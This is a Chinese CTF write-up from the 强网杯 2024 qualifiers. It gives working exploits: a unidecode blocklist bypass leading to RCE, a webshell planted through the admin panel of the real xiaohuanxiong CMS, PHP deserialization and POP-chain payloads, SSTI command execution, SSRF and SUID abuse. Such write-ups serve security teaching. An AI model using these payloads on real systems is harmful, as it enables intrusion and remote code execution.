Nebula 战队 - 强网杯 2024 初赛 WRITEUP
首先阅读后端代码,发现是直接根据上传的blockly块拼接成python代码后运行。其中,text块很危险,因为我们能自己控制内容:
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
但是有恶意字符检查。但是发现用了unidecode,因此特殊字符可以用其他的字符来代替:
import unidecode
import json
ok = {}
banned = "!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~"
def pad(s, n):
return '0' * (n - len(s)) + s
for i in range(256, 65536):
z = unidecode.unidecode(chr(i))
for j in banned:
if j == z:
ok[j] = '\\u' + pad(hex(i)[2:], 4)
break
print(json.dumps(ok))
之后,就可以执行任意python代码了。但是加了audithook,event_name不能超过4。修改了len函数之后就可以直接绕过这个限制,于是就可以rce了:
import requests
import threading
d = {"\n": "\\n", "@": "\\u018f", "|": "\\u01c0", "!": "\\u01c3", "^": "\\u0245", "?": "\\u0294", "'": "\\u02b9", "\"": "\\u02ba", "`": "\\u02bb", "<": "\\u02c2", ">": "\\u02c3", "-": "\\u02c9", "/": "\\u02ca", "\\": "\\u02cb", ",": "\\u02cc", "_": "\\u02cd", ":": "\\u02d0", ".": "\\u02d1", "+": "\\u02d6", "~": "\\u02dc", "=": "\\u02ed", ";": "\\u0387", "&": "\\u03d7", "%": "\\u066a", "*": "\\u066d", "#": "\\u06de", "{": "\\u070b", "}": "\\u070c", "]": "\\u0f3b", "(": "\\u207d", ")": "\\u207e", "[": "\\u27e6", "$": "\\u282b"}
def encode(s):
return "".join(d.get(c, c) for c in s)
while True:
com = input("$ ")
code = encode(f"""')
try:
__builtins__.len = lambda x: 0;
__import__('os').system('{com}')
except Exception as e:
print(e)
print('""")
exp = '{"blocks":{"blocks": [{"type": "print","inputs": {"TEXT": {"block": {"type": "text","fields": {"TEXT": "' + code + '"}}}}}]}}'
remote = "http://eci-2ze6n37avcrkcagnq19x.cloudeci1.ichunqiu.com:5000/blockly_json"
r = requests.post(remote, data=exp, headers={"Content-Type": "application/json"})
print(r.text)
/flag没有权限,于是用考虑用SUID权限的程序读取:
$ find / -user root -perm -4000 -print 2>/dev/null
/bin/su
/bin/ls
/bin/dd
/bin/mount
/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
用dd读取即可
$ dd if=/flag
flag{7c1a4fe8981e295a78508a49146340b9}
Github: https://github.com/forkable/xiaohuanxiong
根据https://github.com/forkable/xiaohuanxiong/tree/master/application/admin/controller,翻后台的每一个功能的路由。发现 /admin/admins可以直接进入,于是添加一个管理员账号。
之后去 /admin/payment/index.html ,发现可以改php代码。加入一句话木马
阅读 https://github.com/forkable/xiaohuanxiong/blob/master/application/admin/controller/Payment.php
发现写入的是 config/payment.php 文件,然后用蚁剑连接即可。
首先www.zip下载源码
目标是反序列化触发这个类,因为会把恶意字符串替换,利用长度的变化,手动让session_key变成这个类。
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}
filter里用的是置空,有字符逃逸可以利用
$sessionData = str_replace($function, '', $sessionData);
构造如下:
s:56:"execevalexecevalexecevalexecevalexecexecexecevalexeceval";
s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a";
也就是:
user|s:56:"execevalexecevalexecevalexecevalexecexecexecevalexeceval";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a";
替换后变成
user|s:56:"";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"system($_GET[1]);";}password|s:1:"a";
这样子替换后恰好可以满足对应的长度,但是让session_key成功变成了恶意的类notouchitsclass,这样在最后被销毁的时候,就能触发__destruct()执行恶意代码了。
s:56:"";session_key|s:20:"12345678901234567890";password|s:98:"
O:15:"notouchitsclass":1:{s:4:"data";s:17:"system($_GET[1]);";}
s:1:"a"
flag文件加了权限,但是/readflag有suid权限,所以直接运行readflag即可。
Payload:
import requests
url = "http://eci-2zect3m6hd68llgpi5t4.cloudeci1.ichunqiu.com"
data = {
'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a',
'username': 'execevalexecevalexecevalexecevalexecexecexecevalexeceval'
}
while True:
s = requests.session()
r = s.post(url + '/index.php', data=data, allow_redirects=False)
r = s.post(url + '/index.php', data=data, allow_redirects=False)
r = s.post(url + '/dashboard.php?1=/readflag', allow_redirects=False)
if "flag" in r.text:
print(r.text)
break
s.close()
首先写一个贪吃蛇算法玩到一定分数,得到路由/snake_win
username参数有sqlite注入点,表里是空的
但select得到的结果用模板渲染,有SSTI漏洞可以执行命令
import requests
url = 'http://eci-2zeg97hlr4shfblexsvo.cloudeci1.ichunqiu.com:5000/'
cookies = {
'session': 'eyJ1c2VybmFtZSI6ImJyZWFsaWQifQ.ZyYSEg.HJkZ6bMLKOMoPaDiGJ8rlMuDgG0'
}
d = 'RIGHT'
def can_move(snakelist, nextp):
board = [[0 for _ in range(20)] for _ in range(20)]
for x, y in snakelist:
board[x][y] = 1
tx, ty = snakelist[-1]
q = [nextp]
board[nextp[0]][nextp[1]] = 2
p = 0
while p < len(q):
x, y = q[p]
p += 1
if abs(x - tx) + abs(y - ty) == 1:
return True
for nx, ny in [[x - 1, y], [x + 1, y], [x, y - 1], [x, y + 1]]:
if 0 <= nx <= 19 and 0 <= ny <= 19:
if board[nx][ny] == 0:
q.append([nx, ny])
board[nx][ny] = 2
return False
try:
while True:
response = requests.post(url + 'move', cookies=cookies, json={'direction': d}).json()
print(response)
board = [[' ' for _ in range(20)] for _ in range(20)]
for x, y in response['snake']:
board[x][y] = 'X'
board[response['food'][0]][response['food'][1]] = '$'
board[response['snake'][0][0]][response['snake'][0][1]] = '@'
print('=' * 100)
for i in range(20):
for j in range(20):
print(board[i][j], end = ' ' if j < 19 else '\n')
x, y = response['snake'][0]
tx, ty = response['food']
d = '?'
if x < tx:
if [x + 1, y] not in response['snake'] and can_move(response['snake'], [x + 1, y]):
d = 'RIGHT'
if x > tx:
if [x - 1, y] not in response['snake'] and can_move(response['snake'], [x - 1, y]):
d = 'LEFT'
if y < ty:
if [x, y + 1] not in response['snake'] and can_move(response['snake'], [x, y + 1]):
d = 'DOWN'
if y > ty:
if [x, y - 1] not in response['snake'] and can_move(response['snake'], [x, y - 1]):
d = 'UP'
if d == '?':
if [x + 1, y] not in response['snake'] and x + 1 <= 19 and can_move(response['snake'], [x + 1, y]):
d = 'RIGHT'
if [x - 1, y] not in response['snake'] and x - 1 >= 0 and can_move(response['snake'], [x - 1, y]):
d = 'LEFT'
if [x, y + 1] not in response['snake'] and y + 1 <= 19 and can_move(response['snake'], [x, y + 1]):
d = 'DOWN'
if [x, y - 1] not in response['snake'] and y - 1 >= 0 and can_move(response['snake'], [x, y - 1]):
d = 'UP'
import requests
url = 'http://eci-2ze5o4vs0w9lprgwd8uy.cloudeci1.ichunqiu.com:5000/snake_win'
while True:
sql = input('> ')
response = requests.get(url, params={'username': f'{-1}\' union {sql} --'})
# <p>Your best time: 0 seconds</p>
text = response.text.split('<p>Your best time: ')[-1].split(' seconds</p>')[0]
print(text)
select 1,2,'{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read()}}'
flag{aafe90b4-d264-4b14-ab30-2add42ccc53b}
直接POST /v2/api/proxy ,让 v2 去访问 v1 就拿到 flag 了:
{
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST"
}
{"flag":"ZmxhZ3tiNDUzMWI5OS01YTU4LTQ0ZjMtOGEwOS0wZjcwNjk5OTZjMmF9"}
Rule 1: 请至少包含数字和大小写字母
Rule 2: 密码中所有数字之和必须为xxx的倍数,30
Rule 3: 请密码中包含下列算式的解(如有除法,则为整除): 19085-25
Rule 4: 密码长度不能超过170.
中场休息。 sleep(1);
现在你可以拿到flag了。
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
绕过admin和2024qwb可以用16进制,绕过。首先把s改成大写S,然后用16进制就可以。
O:4:"root":2:{s:8:"username";S:13:"\61dmin69292690";s:5:"value";S:7:"2024qw\62";}
接着构造POP链:
从root开始,访问password会触发__get方法,因为username是用strpos比较,用user传给username,password作为"admin",然后value就正常设也是可以正常触发。再让root的value是正常的2024qwb,这样子root的value就变成了flag,把user的username改成root的value的引用,这样子user被destroy的时候就会输出flag。
<?php
class root{
public $username;
public $value;
}
class user{
public $username;
public $password;
public $value;
}
$a = new root();
$b = new user();
$b->username = &$a->value;
$b->password = "admin19060";
$a->username = $b;
$a->value = "2024qwb";
echo serialize($a);
?>
最终payload:
O:4:"root":2:{s:8:"username";O:4:"user":3:{s:8:"username";S:7:"2024qw\62";s:8:"password";S:11:"\61dmin190607";s:5:"value";N;}s:5:"value";R:3;}